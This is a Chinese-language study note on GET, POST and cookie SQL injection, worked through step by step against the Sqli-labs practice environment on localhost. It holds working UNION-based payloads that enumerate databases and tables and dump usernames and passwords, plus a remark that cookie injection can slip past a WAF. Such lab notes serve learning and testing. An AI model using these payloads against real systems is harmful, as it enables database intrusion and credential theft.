SQL注入笔记 03#

SQL注入之GET POST COOKIE注入##

什么是GET请求方式?

什么是POST请求方式?

什么是COOKIE请求方式?

GET注入原理

当我们理解GET请求方式,对于GET注入原理理解就很简单了,实际上GET型注入就是通过URL在客户端提交sql注入语句,向服务器中的数据库获取数据信息的过程,而获取数据的内容能在URL被看到。

下面是在Sqli-labs下的环境1进行测试

同样我们可以使用GET注入完成一次获取管理员账号密码的过程
http://127.0.0.1/Less-1/?id=1' 注入点
http://127.0.0.1/Less-1/?id=1' and '1'='1 正常
http://127.0.0.1/Less-1/?id=1' and '1'='2 报错

http://127.0.0.1/Less-1/?id=1' order by 3--+ 判断字段长度
http://127.0.0.1/Less-1/?id=1' order by 4--+ 返回错误

http://127.0.0.1/Less-1/?id=1' union select 1,2,3--+
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3--+ 判断数据显示位置

http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+  查询库名
http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(table_name) from information_schema.table where table_schema=database())--+ 当前库

http://127.0.0.1/Less-1/?id=' union select 1,2,(select concat_ws('~',username,password) from security.users limit 0,1)--+

##<h2>POST注入原理</h2> ##

当我们理解POST请求原理,要来理解POST注入就很简单了,实际上POST型注入就是通过提交数据表单是客户端向服务器传送SQL注入语句,服务器中的数据库再做出相对应的应答,从而获取我们想要的数据。

下面是在Sqli-labs下的环境11进行测试

同样我们可以使用POST注入完成一次获取管理员账号密码的过程

在输入框输入:

 'or 1=1#返回正常  
 'or 1=2#报错
 'order by 2#  **字段不用猜解不难看出只有两段字段**
 'union select 1,2# 判断数据显示位置
 'union select 1,(select group_concat(schema_name) from information_schema.schemata)#查询库名
 'union select 1,(select group_concat(table_name) from information_schema.table where table_schema=database())# 当前库
 'union select 1,(select group_concat(username,'~',password) from security.users)# 获取数据

COOKIE注入原理

php中,使用超全局变 $_GET$_POST来接受参数。 asp中,使用 Request.QueryString (GET) Request.Form (POST)来接收页面提交的参数值。 有些程序员 较懒,直接这么写: $id = $_REQUEST['id']; 这时候PHP不知道,从get 还是post方式上接收参数 ,它就会一个一个去试!,它是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据。

因此,我们只需要把数据放在cookie,就可以绕过waf的检测而且服务也可以正常接收。 这就是中转注入的原理。

下面是在Sqli-labs下的环境20进行测试

查看php源代码

同样我们可以使用cookie注入完成一次获取管理员账号密码的过程
 uname=admin'and 1=1# 返回正常  
 uname=admin'and 1=2#报错
 uname=admin'order by 3#  
 uname=admin11'union select 1,2,3判断数据显示位置
 uname=admin11'union select 1,group_concat(schema_name) from information_schema.schemata,3#查询库名 
 uname=admin11'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3# 当前库
 uname=admin11'union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+  获取数据
赞 赏